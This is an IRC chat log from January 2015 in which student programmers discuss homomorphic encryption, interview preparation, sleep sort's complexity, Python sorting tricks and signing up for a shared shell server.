[2015-01-13T10:10:50-0500] <+JacobEdelman> basicly, I can give a you encrypted data and you will be able to do computations on it whithout learning anything about the data I give you
[2015-01-13T10:11:17-0500] <+JacobEdelman> you will than get the encypted result which only I will be able to read
[2015-01-13T10:11:55-0500] <+JacobEdelman> (well, all this assumes you have computational power that is polynomial on my power)
[2015-01-13T10:12:03-0500] <+JacobEdelman> (and some hardness assumptions)
[2015-01-13T10:12:18-0500] <+JacobEdelman> right now it's really slow
[2015-01-13T10:12:34-0500] <+JacobEdelman> but basicly anything you could ever want to do in crypto can be done with this
[2015-01-13T10:12:42-0500] <+JacobEdelman> it's called fully homorphic encryption
[2015-01-13T10:13:03-0500] <+JacobEdelman> (ps. it allows cryptographically secure obfuscation)
[2015-01-13T10:14:17-0500] <+hardmath123> is it fast?
[2015-01-13T10:17:20-0500] <+JacobEdelman> ummm... not really
[2015-01-13T10:17:29-0500] <+JacobEdelman> if it was crypto would be completely over
[2015-01-13T10:17:36-0500] <+JacobEdelman> I mean, its big O is poly
[2015-01-13T10:19:18-0500] <+JacobEdelman> but right now it can run the aes cypher in ~2 seconds (well, it can run it 120 times at once on diff input in 4 minutes, cause I guess doing the algo multiple times doesn't give a big minus or something...)
[2015-01-13T10:20:43-0500] <+JacobEdelman> but they've been improving it a lot
[2015-01-13T10:21:13-0500] <+JacobEdelman> I first hear about it 2 years ago or so, when everybody said it wasn't anywhere near useful and might not be for decades
[2015-01-13T10:40:06-0500] <Hyper> JacobEdelman: I'll believe "crypto is basically over" when multiple people who know their shit say it :)
[2015-01-13T10:40:39-0500] <+JacobEdelman> hmmm... I mean, implementatin and speed are still left
[2015-01-13T10:40:47-0500] <+JacobEdelman> and quantum computers might cause problems
[2015-01-13T10:40:55-0500] <+JacobEdelman> (not too many though)
[2015-01-13T10:41:06-0500] <+JacobEdelman> but with homorphic encryption...
[2015-01-13T10:42:09-0500] <Hyper> so what should I be studying for my google interview in 6 hours?
[2015-01-13T10:42:09-0500] <+JacobEdelman> I can, for example, give you a program that will only work when one of it's inputs is a certain string that only I know
[2015-01-13T10:42:19-0500] <+JacobEdelman> Hyper: programming
[2015-01-13T10:42:24-0500] <+JacobEdelman> :P
[2015-01-13T10:42:25-0500] <Hyper> wow thanks
[2015-01-13T10:42:44-0500] <+JacobEdelman> ummm... study hackernews
[2015-01-13T10:42:49-0500] <+JacobEdelman> there's always good stuff there
[2015-01-13T10:42:50-0500] <Hyper> I've been implementing a fair number of data structures for simple practice
[2015-01-13T10:42:50-0500] <+JacobEdelman> :P
[2015-01-13T10:42:57-0500] <+JacobEdelman> ah, that's probaly good
[2015-01-13T10:43:27-0500] <Hyper> I should probably implement quicksort and mergesort heh
[2015-01-13T10:43:42-0500] <+JacobEdelman> hmm.... sorted priority queues?
[2015-01-13T10:44:23-0500] <+JacobEdelman> (where I can add in an element at a certain priority, which will than be added to the queue which is  sorted by that priority and then by the value of the element)
[2015-01-13T10:44:37-0500] <Hyper> that's not really difficult though
[2015-01-13T10:44:48-0500] <+JacobEdelman> I guess not.... but neither is mergesort :P
[2015-01-13T10:44:53-0500] <+JacobEdelman> do timsort
[2015-01-13T10:44:58-0500] <Hyper> yeah, it's more implementation practice
[2015-01-13T10:45:01-0500] <+JacobEdelman> https://en.wikipedia.org/wiki/Timsort
[2015-01-13T11:35:43-0500] <nezorg> ugh pic sucks
[2015-01-13T12:05:43-0500] <+JacobEdelman> Hyper: https://medium.com/@WhatALongHandle/hi-its-google-corporate-development-d0c77fd69191
[2015-01-13T12:15:34-0500] <Hyper> JacobEdelman: ok...?
[2015-01-13T12:18:23-0500] <Hyper> "Corporate people are schmucks" is nothing new
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[2015-01-13T13:10:29-0500] <@awe> JacobEdelman: and you complain about ME being too hyperbolic.
[2015-01-13T13:10:52-0500] <@awe> JacobEdelman: Homomorphic encryption will never kill standard crypto because it serves a completely different purpose.
[2015-01-13T13:12:29-0500] <@awe> JacobEdelman: There's a great deal of use cases where you would never want someone to be able to perform operations on your encrypted data.
[2015-01-13T13:13:03-0500] <@awe> JacobEdelman: Not to mention, you don't technically know that it can ever be faster than polynomial time anyway. It's an area of new research. It's interesting, but it's not a crypto-killer.
[2015-01-13T13:22:59-0500] <@awe> Hyper: well, it's Google who pretends to be "not evil."
[2015-01-13T13:27:09-0500] <Hyper> yeah idc I just need something to do over the summer :P
[2015-01-13T13:27:27-0500] <Hyper> and legit job experience
[2015-01-13T13:28:35-0500] <@awe> I wonder how seriously grad schools will take working at a financial services startup from senior year of high school through uni.
[2015-01-13T13:36:28-0500] <@awe> I'll probably do a summer internship somewhere at some point too since they're really okay with me doing that.
[2015-01-13T13:36:43-0500] <@awe> (i.e. my boss offered to set me up with certain companies where he knows people)
[2015-01-13T14:16:56-0500] <nezorg> https://www.library.cornell.edu/about/news/press-releases/arxiv-hits-1-million-submissions-0
[2015-01-13T14:21:37-0500] <+JacobEdelman> awe: you can make data that can't be computer with HE
[2015-01-13T14:21:42-0500] <+JacobEdelman> (homorphin encryption)
[2015-01-13T14:21:54-0500] <+JacobEdelman> or data with any chosen subset of computations is avaiblible
[2015-01-13T14:21:59-0500] <+JacobEdelman> via black box stuff
[2015-01-13T14:23:13-0500] <+JacobEdelman> *(homorphic encyrptin)
[2015-01-13T15:07:41-0500] <@awe> I still doesn't see a reason why I should want to use HE for something that doesn't need to have any operations available.
[2015-01-13T15:18:56-0500] <+JacobEdelman> it's just that you can trivially do anything with HE, it's just a question of speed
[2015-01-13T15:19:27-0500] <+JacobEdelman> there is no cryptographic problem, relying on hardness proofs and computational security, that is not solvable with HE
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[2015-01-13T15:07:41-0500] <@awe> I still doesn't see a reason why I should want to use HE for something that doesn't need to have any operations available.
[2015-01-13T15:18:55-0500] <+JacobEdelman> it's just that you can trivially do anything with HE, it's just a question of speed
[2015-01-13T15:19:26-0500] <+JacobEdelman> there is no cryptographic problem, relying on hardness proofs and computational security, that is not solvable with HE
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[2015-01-13T15:28:12-0500] <@awe> At least until we find a slew of issues with it like we have literally everything else.
[2015-01-13T15:28:20-0500] <@awe> It's new, that doesn't mean it's perfect.
[2015-01-13T15:29:08-0500] <+JacobEdelman> no, it's like literally perfect
[2015-01-13T15:29:30-0500] <+JacobEdelman> I think it may be provably perfect
[2015-01-13T15:30:05-0500] <@awe> If they haven't proved it yet, I don't care.
[2015-01-13T15:30:13-0500] <+JacobEdelman> I don't know if they proved it
[2015-01-13T15:30:18-0500] <+JacobEdelman> I'll try proving it later
[2015-01-13T15:30:20-0500] <+JacobEdelman> for now, hw
[2015-01-13T15:30:31-0500] <@awe> And even if they have, cool, but it's not useful until it's not terribly slow.
[2015-01-13T15:35:06-0500] <+JacobEdelman> true
[2015-01-13T15:35:15-0500] <+JacobEdelman> but it means theoretical HE isn't as cool
[2015-01-13T15:35:22-0500] <+JacobEdelman> *cryptography, not HE
[2015-01-13T15:35:28-0500] <+JacobEdelman> since most problems will be solved
[2015-01-13T15:35:47-0500] <+JacobEdelman> Disclaimer: everything I ever say is speculation
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[2015-01-13T15:30:31-0500] <@awe> And even if they have, cool, but it's not useful until it's not terribly slow.
[2015-01-13T15:35:05-0500] <+JacobEdelman> true
[2015-01-13T15:35:15-0500] <+JacobEdelman> but it means theoretical HE isn't as cool
[2015-01-13T15:35:21-0500] <+JacobEdelman> *cryptography, not HE
[2015-01-13T15:35:28-0500] <+JacobEdelman> since most problems will be solved
[2015-01-13T15:35:47-0500] <+JacobEdelman> Disclaimer: everything I ever say is speculation
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[2015-01-13T16:23:56-0500] <@awe> 	Does anyone know if the date modified on a symbolic link would update when the thing it points to updates?
[2015-01-13T16:42:54-0500] <Hyper> no
[2015-01-13T16:43:02-0500] <@awe> You don't know or it doesn't do it?
[2015-01-13T16:43:14-0500] <Hyper> It doesn't
[2015-01-13T16:43:25-0500] <Hyper> The file knows nothing of the symlink pointing to it
[2015-01-13T16:43:36-0500] <Hyper> and no filesystem is gonna iterate through all files to update that timestamp
[2015-01-13T16:43:50-0500] <Hyper> wait
[2015-01-13T16:43:50-0500] <Hyper> hrm
[2015-01-13T16:44:00-0500] <@awe> I was thinking it might just resolve.
[2015-01-13T16:44:33-0500] <Hyper> yeah no the symlink has the time it was created
[2015-01-13T16:44:35-0500] <Hyper> (just tested)
[2015-01-13T16:44:47-0500] <@awe> Dammit.
[2015-01-13T16:45:01-0500] <Hyper> also I totally bombed the first interview .-.
[2015-01-13T16:45:05-0500] <Hyper> I think
[2015-01-13T16:45:19-0500] <@awe> You should apply somewhere that doesn't suck anyway.
[2015-01-13T16:45:19-0500] <@awe> :p
[2015-01-13T16:45:23-0500] <Hyper> welp jsut need to get the next two perfect
[2015-01-13T16:45:31-0500] <Hyper> I'm willing to hear suggestions.
[2015-01-13T16:45:45-0500] <@awe> Does it need to be in any particular areA?
[2015-01-13T16:45:55-0500] <Hyper> not really
[2015-01-13T16:46:04-0500] <Hyper> preferably something interesting :)
[2015-01-13T16:48:01-0500] <@awe> Mozilla would be cool imo.
[2015-01-13T16:50:33-0500] <Hyper> mr
[2015-01-13T16:50:34-0500] <Hyper> hrm
[2015-01-13T16:50:40-0500] <Hyper> I'll apply there tonight I guess
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[2015-01-13T17:00:48-0500] <+JacobEdelman> Hyper: apply to the moon, I hear it's taking applications :P
[2015-01-13T17:01:12-0500] <Hyper> I don't get it
[2015-01-13T17:01:56-0500] <@awe> He's saying you should go to the moon.
[2015-01-13T17:25:48-0500] <+JacobEdelman> hmm... the joke failed
[2015-01-13T17:25:52-0500] <+JacobEdelman> my jokes tend too
[2015-01-13T17:25:58-0500] <+JacobEdelman> I rescind that joke
[2015-01-13T17:36:08-0500] <+Tamini> its not too awful
[2015-01-13T17:36:10-0500] <+Tamini> ach
[2015-01-13T17:36:11-0500] <+Tamini> so much work
[2015-01-13T18:08:24-0500] <+JacobEdelman> wow... partisan gridlock in congress has its benefits
[2015-01-13T18:08:39-0500] <+JacobEdelman> for instance, human cloning is legal
[2015-01-13T18:09:25-0500] • JacobEdelman: laughs manically
[2015-01-13T18:11:38-0500] <@awe> Reproductive cloning is legal.
[2015-01-13T18:12:09-0500] <+JacobEdelman> meaning?
[2015-01-13T18:12:30-0500] <+JacobEdelman> from what wikipedia says it looks like I can clone myself an army of Jacobs if I want too
[2015-01-13T18:13:27-0500] <@awe> It means you can grow a bunch of identical babies that are all you.
[2015-01-13T18:13:30-0500] <@awe> But they have to age themselves.
[2015-01-13T18:13:34-0500] <+JacobEdelman> (although there is a special secret executive order declaring JacobEdelman an enemy combatant under the patriot act, so my clone's, like myself, may not have any rights)
[2015-01-13T18:13:42-0500] <+JacobEdelman> awe: good!
[2015-01-13T18:13:51-0500] <@awe> So, you can't make them at your age automatically.
[2015-01-13T18:15:09-0500] <+JacobEdelman> that's fine, I'll just put them through the adoption system, a few years later I'll be able to track them down by looking for the largest disaster zones
[2015-01-13T18:20:43-0500] <@awe> That's probably true.
[2015-01-13T18:27:00-0500] <@awe> http://www.stupidhackathon.com
[2015-01-13T18:29:07-0500] <@awe> JacobEdelman: http://dis.4chan.org/read/prog/1295544154
[2015-01-13T18:30:08-0500] <+JacobEdelman> I've seen stupid hackathon
[2015-01-13T18:30:55-0500] <+JacobEdelman> awe: such speed
[2015-01-13T18:31:04-0500] <@awe> Asymptotically, it's O(n).
[2015-01-13T18:31:09-0500] <@awe> It's faster than quicksort, bro.
[2015-01-13T18:31:18-0500] <@awe> You're the one who's always like ALGORITHMIC COMPLEXITY IS ALL THAT MATTERs.
[2015-01-13T18:31:30-0500] <+JacobEdelman> wait, not it's not
[2015-01-13T18:31:33-0500] <+JacobEdelman> *no
[2015-01-13T18:31:39-0500] <+JacobEdelman> please explain the algo to me
[2015-01-13T18:31:47-0500] <+JacobEdelman> I don't quite understand
[2015-01-13T18:32:04-0500] <@awe> It can only sort integers, but basically, you just sleep the value of the integer.
[2015-01-13T18:32:12-0500] <@awe> and then print it.
[2015-01-13T18:32:23-0500] <+JacobEdelman> oh
[2015-01-13T18:32:26-0500] <@awe> with a thread for each integer, of course.
[2015-01-13T18:32:41-0500] <+JacobEdelman> thats O(m) where m is the size of the largest integer
[2015-01-13T18:32:55-0500] <+JacobEdelman> welll.... actually its not
[2015-01-13T18:33:17-0500] <+JacobEdelman> hmmm.... it would depend how you implemented it on a turing machine
[2015-01-13T18:33:45-0500] <+JacobEdelman> but since each thread executes independalty and has to check each second if it is done it should take about O(n**2)
[2015-01-13T18:33:46-0500] <@awe> No, it's O(m + n) where m is the size of the largest integer and n is the length of the list
[2015-01-13T18:33:49-0500] <@awe> It takes a constant time to start each thread.
[2015-01-13T18:33:50-0500] <+JacobEdelman> no
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[2015-01-13T18:33:58-0500] <+JacobEdelman> it depends how threads are impleented
[2015-01-13T18:33:59-0500] <@awe> It doesn't have to check each second if it's done.
[2015-01-13T18:34:02-0500] <@awe> You're an idiot.
[2015-01-13T18:34:04-0500] <@awe> Threads are native.
[2015-01-13T18:34:14-0500] <+JacobEdelman> no they are not
[2015-01-13T18:34:15-0500] <@awe> Your kernel has a concept of threads.
[2015-01-13T18:34:21-0500] <+JacobEdelman> correct
[2015-01-13T18:34:31-0500] <@awe> Creating a thread is constant time.
[2015-01-13T18:34:33-0500] <+JacobEdelman> but it cannot execute an arbitary number of them, without a slow down
[2015-01-13T18:34:42-0500] <+JacobEdelman> awe, trust me
[2015-01-13T18:34:51-0500] <+JacobEdelman> wait, actually, don't
[2015-01-13T18:34:55-0500] <+JacobEdelman> lemme think for a sec
[2015-01-13T18:34:58-0500] <@awe> Trust the person who writes javascript and python exclusively about something low-level?
[2015-01-13T18:35:00-0500] <@awe> No thanks.
[2015-01-13T18:35:16-0500] <@awe> Yes, technically speaking, you'd need some sort of magic scaling processor that won't die after it has a million threads open.
[2015-01-13T18:35:20-0500] <+JacobEdelman> (I'm reading bucket sort)
[2015-01-13T18:35:30-0500] <@awe> (or more than like 60, really)
[2015-01-13T18:35:52-0500] <+JacobEdelman> awe: thats not technical, that proccessor is faster than a turing machine if it can make an arbitary number of threads which is what it needs to do for big O
[2015-01-13T18:36:26-0500] <@awe> Except green threading is also a thing.
[2015-01-13T18:36:34-0500] <+hardmath123> So guys, I'm working on a new project.
[2015-01-13T18:36:40-0500] <+JacobEdelman> awe: green threading?
[2015-01-13T18:36:42-0500] <+hardmath123> Whose readme is here: http://hastebin.com/zopulenixu
[2015-01-13T18:36:48-0500] <+hardmath123> Except, the syntax highlighting is messy.
[2015-01-13T18:36:48-0500] <nezorg> awe: but it works by having a queue or similar
[2015-01-13T18:36:56-0500] <@awe> Well, eyah.
[2015-01-13T18:36:57-0500] <@awe> yeah*
[2015-01-13T18:37:06-0500] <+hardmath123> because it thinks "of" in markdown is a keyword
[2015-01-13T18:37:09-0500] <+hardmath123> anyhow
[2015-01-13T18:37:12-0500] <+hardmath123> what do you think?
[2015-01-13T18:37:21-0500] <nezorg> ...how is "of" a keyword in markdown?
[2015-01-13T18:37:40-0500] <nezorg> oh
[2015-01-13T18:37:41-0500] <+hardmath123> it isn't, but hastebin's syntax highlighter makes it yellow anyway
[2015-01-13T18:37:44-0500] <+JacobEdelman> can somebody explain to awe why sleep sort does not have a big O of m+n where m is the largest integer
[2015-01-13T18:37:47-0500] <nezorg> it's not processing it as markdown
[2015-01-13T18:37:53-0500] <+hardmath123> ik
[2015-01-13T18:37:55-0500] <@awe> I guess the best way to think of it is that it's O(m + nk) where m is the highest value, n is the number of things to sort, and k is the time it takes to start a thread.
[2015-01-13T18:38:05-0500] <+JacobEdelman> (and also how even if it did for sorting in the general case you're not supposed to care about the largest integer)
[2015-01-13T18:38:06-0500] <+hardmath123> http://hastebin.com/raw/zopulenixu
[2015-01-13T18:38:08-0500] <+hardmath123> there
[2015-01-13T18:38:10-0500] <+hardmath123> that's reasonable
[2015-01-13T18:38:25-0500] <@awe> JacobEdelman: it's a joke.
[2015-01-13T18:38:29-0500] <@awe> JacobEdelman: it's not a serious sorting algorithm.
[2015-01-13T18:38:57-0500] <+JacobEdelman> hardmath123: can I help write that?
[2015-01-13T18:39:24-0500] <+hardmath123> JacobEdelman: you can go write some cool plugins once i write the reference implementation
[2015-01-13T18:39:29-0500] <+JacobEdelman> awe: I'm just saying, big O does not fail, algorithmically it's bad, even though you say it's not
[2015-01-13T18:39:32-0500] <+JacobEdelman> hardmath123: okay
[2015-01-13T18:39:42-0500] <+hardmath123> JacobEdelman: or, once the specification settles down, you can write another reference impelmentation in nodejs
[2015-01-13T18:40:00-0500] <@awe> JacobEdelman: it does fail
[2015-01-13T18:40:02-0500] <nezorg> hardmath123: so it's like a more general inetd?
[2015-01-13T18:40:13-0500] <@awe> JacobEdelman: because as n gets larger and larger, the constant time of the largest value becomes irrelevant
[2015-01-13T18:40:16-0500] <Hyper> what isn't constant time is the work going on in the OS's scheduler :)
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[2015-01-13T18:40:37-0500] <@awe> Hyper: this is true, but that's not really relevant. :p
[2015-01-13T18:40:47-0500] <Hyper> it is when most of the work is there :)
[2015-01-13T18:40:51-0500] <@awe> Shhh.
[2015-01-13T18:40:55-0500] <nezorg> awe: wait, how is big O broken?
[2015-01-13T18:40:58-0500] <@awe> it's not.
[2015-01-13T18:41:07-0500] <nezorg> so what fails
[2015-01-13T18:41:24-0500] <Hyper> so for the last interview I think I totally wowed the interviewer by doing like everything as list comprehensions
[2015-01-13T18:41:25-0500] <Hyper> :)
[2015-01-13T18:41:26-0500] <@awe> It doesn't actually fail. There isn't actually a good way to describe sleep sort with Big O.
[2015-01-13T18:41:32-0500] <+Tamini> oh my god Hyper
[2015-01-13T18:41:39-0500] <+Tamini> you're the person our AI teacher preaches about
[2015-01-13T18:41:46-0500] <+Tamini> >.<
[2015-01-13T18:41:56-0500] <+Tamini> "if you know how to do list comprehensions you'll impress at job interviews"
[2015-01-13T18:42:01-0500] <nezorg> awe: yeah there is, you just have to be specific about what kind of computer it's running on
[2015-01-13T18:42:06-0500] <@awe> I was just using it as an excuse to rail on Jacob for insisting that constant time doesn't matter.
[2015-01-13T18:42:07-0500] <@awe> Well, yes.
[2015-01-13T18:42:07-0500] <Hyper> hehe
[2015-01-13T18:42:12-0500] <@awe> And it'd be super-ridiculous looking.
[2015-01-13T18:42:32-0500] <nezorg> Hyper: monad comprehensions, fool
[2015-01-13T18:42:43-0500] <Hyper> i was at st.joseph's last year as a "totally not a vagabond who just came along" and was in the teacher's room doing all the problems as 1 liners with list comprehensions :)
[2015-01-13T18:42:46-0500] <@awe> Hyper: what kind of things did they ask you to do that you could do it all in list comprehensions?
[2015-01-13T18:43:08-0500] <+hardmath123> hyper comprehends lists
[2015-01-13T18:43:09-0500] <Hyper> it was a thing about lexographically sorting a list of strings, but with special letters given precedence
[2015-01-13T18:43:18-0500] <Hyper> and I was just like "fuck it list comps and tuples"
[2015-01-13T18:43:28-0500] <nezorg> heheh
[2015-01-13T18:43:28-0500] <nezorg> nice
[2015-01-13T18:43:30-0500] <Hyper> there was a lambda in there too
[2015-01-13T18:43:42-0500] <@awe> I can't really picture that in my head, but whatever.
[2015-01-13T18:43:46-0500] <nezorg> Hyper: python?
[2015-01-13T18:43:49-0500] <Hyper> yeah
[2015-01-13T18:44:01-0500] <+hardmath123> `sorted` takes an argument
[2015-01-13T18:44:05-0500] <+Tamini> how did you do it using list comp?
[2015-01-13T18:44:05-0500] <Hyper> that
[2015-01-13T18:44:08-0500] <+Tamini> lol
[2015-01-13T18:44:19-0500] <+Tamini> also hardmath123: isnt there like syntax for that
[2015-01-13T18:44:39-0500] <+hardmath123> so you do `sorted(lambda x: ord(x) if x not in SPECIAL else 257)`
[2015-01-13T18:44:54-0500] <+hardmath123> wait no
[2015-01-13T18:44:59-0500] <Hyper> it needs to be fully lexographically sorted :)
[2015-01-13T18:45:03-0500] <nezorg> hardmath123: sorted(foo, key=...)
[2015-01-13T18:45:10-0500] <+hardmath123> gah
[2015-01-13T18:45:12-0500] <+hardmath123> ok
[2015-01-13T18:45:14-0500] <+hardmath123> take II
[2015-01-13T18:45:17-0500] <Hyper> so I did some recursion to push the "sorted" letters back in a tuple
[2015-01-13T18:45:33-0500] <Hyper> and then sort that by the same algo again, etc
[2015-01-13T18:45:40-0500] <Hyper> listen don't judge it was very stressful
[2015-01-13T18:45:40-0500] <+Tamini> that seems
[2015-01-13T18:45:47-0500] <+Tamini> lol okok
[2015-01-13T18:45:50-0500] <+hardmath123> Hyper: radix sort?
[2015-01-13T18:46:00-0500] <Hyper> basically, yeah
[2015-01-13T18:46:07-0500] <+hardmath123> the jacob solution is to use regexes to replace special characters with "\x00"
[2015-01-13T18:46:10-0500] <+hardmath123> problem solved
[2015-01-13T18:46:12-0500] <@awe> lol
[2015-01-13T18:46:16-0500] <@awe> that's not surprising.
[2015-01-13T18:46:23-0500] <nezorg> A+
[2015-01-13T18:46:55-0500] <nezorg> what's the saying?
[2015-01-13T18:47:07-0500] <nezorg> "I had 99 problems. Then I applied regexes. Now I have 100 problems."
[2015-01-13T18:47:18-0500] <+hardmath123> which reminds me, i have homework
[2015-01-13T18:47:21-0500] <+hardmath123> -_-
[2015-01-13T18:47:22-0500] <nezorg> so do I!
[2015-01-13T18:47:42-0500] <+Tamini> me too!
[2015-01-13T18:47:45-0500] <+Tamini> #study?
[2015-01-13T18:47:52-0500] <nezorg> sure
[2015-01-13T18:48:01-0500] <+Tamini> im pretty sure i have 5 hour's worth of reading
[2015-01-13T18:48:03-0500] <+Tamini> literally
[2015-01-13T18:48:15-0500] <+Tamini> because lincoln's speeches are damn long
[2015-01-13T18:48:30-0500] <@awe> So, wait, why would interviewers be impressed by you using list comprehensions?
[2015-01-13T18:48:34-0500] <nezorg> Tamini: not his 2nd inaugural address!
[2015-01-13T18:48:44-0500] <nezorg> nor the gettysburg address
[2015-01-13T18:49:04-0500] <+Tamini> lolol
[2015-01-13T18:49:08-0500] <+Tamini> wel there's 6 of them
[2015-01-13T18:49:17-0500] <+Tamini> awe: it shows you know what youre doing
[2015-01-13T18:49:23-0500] <@awe> ???
[2015-01-13T18:49:27-0500] <@awe> How?
[2015-01-13T18:49:45-0500] <nezorg> it shows you know how to abuse python?
[2015-01-13T18:49:48-0500] <+hardmath123> by *that* logic, I know what i'm doing
[2015-01-13T18:49:57-0500] <+hardmath123> that's worrying
[2015-01-13T18:50:04-0500] <+Tamini> lol
[2015-01-13T18:50:05-0500] <nezorg> hardmath123: I know how to use monad comprehensions, so apparently I know what I'm doing even more!
[2015-01-13T18:50:08-0500] <+Tamini> okay
[2015-01-13T18:50:18-0500] <+Tamini> it shows you actually know more than very very basic python
[2015-01-13T18:50:26-0500] <nezorg> (using monad comprehensions for IO, though, ....ewww...)
[2015-01-13T18:53:43-0500] <nezorg> I recently discovered ein
[2015-01-13T18:53:49-0500] <nezorg> a mode for using ipython notebooks in emacs
[2015-01-13T18:53:54-0500] <nezorg> and it is lovely <3
[2015-01-13T18:56:21-0500] <@awe> This is my kind of one-liner, guys: http://is.gd/6uI6tu
[2015-01-13T18:57:04-0500] <@awe> Hmm, I could remove one more unwrap.
[2015-01-13T18:57:22-0500] <@awe> This would be less gross if bind used an operator instead of .and_then()
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[2015-01-13T19:03:05-0500] <nezorg> awe: how does pdgn not have a quote db yet
[2015-01-13T19:03:26-0500] <+Tamini> ^
[2015-01-13T19:11:34-0500] <nezorg> this is hilarious http://www.xkcdb.com/
[2015-01-13T19:11:35-0500] <+Tamini> JacobEdelman: can you give me op in #study
[2015-01-13T19:11:57-0500] <+Tamini> is that #xkcd?
[2015-01-13T19:12:17-0500] <nezorg> yeah
[2015-01-13T19:12:42-0500] <+hardmath123> umm
[2015-01-13T19:12:48-0500] <+hardmath123> Study_Bot has op
[2015-01-13T19:12:54-0500] <+hardmath123> i'll become Study_Bot and then op you
[2015-01-13T19:12:56-0500] <+hardmath123> :P
[2015-01-13T19:13:38-0500] <+Tamini> lol ok
[2015-01-13T19:14:48-0500] <nezorg> http://www.xkcdb.com/9926 heheh
[2015-01-13T19:15:50-0500] <+Tamini> lolol
[2015-01-13T19:15:59-0500] <+Tamini> do homework first then read this later! :P
[2015-01-13T19:16:09-0500] <nezorg> sssshhhhhhh
[2015-01-13T19:16:33-0500] <+hardmath123> heh, i used to hang out on #xkcd a lot
[2015-01-13T19:25:32-0500] <nezorg> http://www.xkcdb.com/9839 XD XD XD
[2015-01-13T19:29:42-0500] <+hardmath123> JacobEdelman: write a good quotedb and host it on backtick
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[2015-01-13T19:39:48-0500] <+hardmath123> Zach!
[2015-01-13T19:40:05-0500] <+hardmath123> zrl: I think we briefly met at LAHacks.
[2015-01-13T19:40:29-0500] <+hardmath123> zrl: I was the insuffrable little Indian kid who wasn't Ankit.
[2015-01-13T19:40:30-0500] <+JacobEdelman> hardmath123: maybe... right now #pdgn quotes consists of a google doc I have
[2015-01-13T19:40:36-0500] <+hardmath123> ooh link?
[2015-01-13T19:40:36-0500] <+Tamini> lol yeah uh
[2015-01-13T19:40:38-0500] <+Tamini> we need a qdb
[2015-01-13T19:40:39-0500] <zrl> potentially!
[2015-01-13T19:40:41-0500] <zrl> hardmath123: what's your name?
[2015-01-13T19:40:49-0500] <+hardmath123> zrl: I'm Kartik.
[2015-01-13T19:41:14-0500] <zrl> ah, gotcha. i know a lot of kartiks. last name?
[2015-01-13T19:41:16-0500] <+hardmath123> zrl: Ankit was like "we're making a command-line meme generator in Go", followed shortly by "I'm feeling a bit si--*puke*"
[2015-01-13T19:41:19-0500] <+JacobEdelman> https://docs.google.com/document/d/1xomPslf2ufG74MZJyHOIt7ATwF7djRFift2WgYX-5_8/edit?usp=sharing
[2015-01-13T19:41:19-0500] <+hardmath123> Kartik Chandra.
[2015-01-13T19:41:23-0500] <+JacobEdelman> thats the link
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[2015-01-13T19:41:44-0500] <zrl> ah, gotcha! yeah, i think i remember.
[2015-01-13T19:41:59-0500] <+JacobEdelman> wow, so many people coming all of the sudden
[2015-01-13T19:42:10-0500] <zrl> btw
[2015-01-13T19:42:12-0500] <nezorg> JacobEdelman: well that was anticlimactic
[2015-01-13T19:42:14-0500] <zrl> yall should check out http://hashbang.sh/#!
[2015-01-13T19:42:16-0500] <zrl> super cool
[2015-01-13T19:42:20-0500] <+JacobEdelman> it's been around a while
[2015-01-13T19:42:25-0500] <+Tamini> hii lbt
[2015-01-13T19:43:07-0500] <+JacobEdelman> hmm.... we need more quotes for "Best of pdgn", somebody say something funny
[2015-01-13T19:43:31-0500] <+Tamini> lol
[2015-01-13T19:43:32-0500] <+hardmath123> zrl: oh that's like backtick.town
[2015-01-13T19:43:32-0500] <nezorg> zrl: what's the point of validating a file based on keys given to you in the file? :P
[2015-01-13T19:43:33-0500] <+Tamini> make a qdb
[2015-01-13T19:43:38-0500] <+Tamini> and let it come naturally
[2015-01-13T19:43:53-0500] <+JacobEdelman> Tamini: you mean just wait for people to say funny things? :P
[2015-01-13T19:44:05-0500] <zrl> nezorg: yeah :/ the setup could def be improved.
[2015-01-13T19:44:17-0500] <+Tamini> ye
[2015-01-13T19:44:18-0500] <+hardmath123> zrl: http://goo.gl/forms/wBnjyJtwqn
[2015-01-13T19:44:26-0500] • Tamini: goes to study
[2015-01-13T19:46:08-0500] <zrl> oh, cool!
[2015-01-13T19:46:10-0500] <zrl> how'd you hear about this?
[2015-01-13T19:46:28-0500] <+hardmath123> i didn't hear about it, I started it :P
[2015-01-13T19:46:29-0500] <nezorg> zrl: doesn't support ed25519 pubkeys :(
[2015-01-13T19:46:41-0500] <zrl> hardmath123: ahhh, gotch gotcha
[2015-01-13T19:46:41-0500] <nezorg> nor ecdsa
[2015-01-13T19:46:42-0500] <+hardmath123> we have ~50ish users or so (it's only been a month)
[2015-01-13T19:46:43-0500] <zrl> signing up atm
[2015-01-13T19:47:06-0500] <+Tamini> i honestly
[2015-01-13T19:47:09-0500] <+Tamini> mainly use it to play IF :P
[2015-01-13T19:47:10-0500] <zrl> hardmath123: oh, cool. you go to gunn?
[2015-01-13T19:47:16-0500] <+hardmath123> yeap.
[2015-01-13T19:47:25-0500] <nezorg> (I guess I'll resign to using rsa...)
[2015-01-13T19:47:49-0500] <+hardmath123> i was in ankit's cs class
[2015-01-13T19:48:08-0500] <+JacobEdelman> I realized, I have a weird list of programming languages that I want to learn but have yet to learn
[2015-01-13T19:48:23-0500] <+hardmath123> (I love how I can almost always introduce myself as "that kid Ankit knows", because Ankit knows everyone.)
[2015-01-13T19:48:25-0500] <+JacobEdelman> haskell, camel, rust, lisp, and (gasp) perl
[2015-01-13T19:48:33-0500] <nezorg> zrl: oh, that's weird, the script seems to indicate support for ed25519 but it doesn't work
[2015-01-13T19:48:40-0500] <+JacobEdelman> hardmath123: who's ankit :P
[2015-01-13T19:48:40-0500] <+hardmath123> JacobEdelman: let me prioritize that for you
[2015-01-13T19:48:45-0500] <+hardmath123> JacobEdelman: Lisp, everything else.
[2015-01-13T19:48:52-0500] <+JacobEdelman> hardmath123: ha
[2015-01-13T19:49:06-0500] <zrl> hardmath123: just submitted
[2015-01-13T19:50:02-0500] <+hardmath123> zrl: and i just created your account
[2015-01-13T19:51:03-0500] <+JacobEdelman> hardmath123: whats the url?
[2015-01-13T19:51:20-0500] <+JacobEdelman> hardmath123: or is it still just an ip?
[2015-01-13T19:51:30-0500] <+hardmath123> it's still an IP, http://104.236.156.40
[2015-01-13T19:51:47-0500] <+JacobEdelman> hardmath123: uhg.... arn't you supposed to buy backtick.town?
[2015-01-13T19:52:26-0500] <+hardmath123> we are
[2015-01-13T19:52:27-0500] <+hardmath123> but money
[2015-01-13T19:52:34-0500] <+hardmath123> is being spent on making the server survive
[2015-01-13T19:52:38-0500] <+hardmath123> not one buying domains
[2015-01-13T19:52:58-0500] <+JacobEdelman> hardmath123: hmmm.... hscs.io should sponsor you
[2015-01-13T19:53:05-0500] <+hardmath123> yes, please!
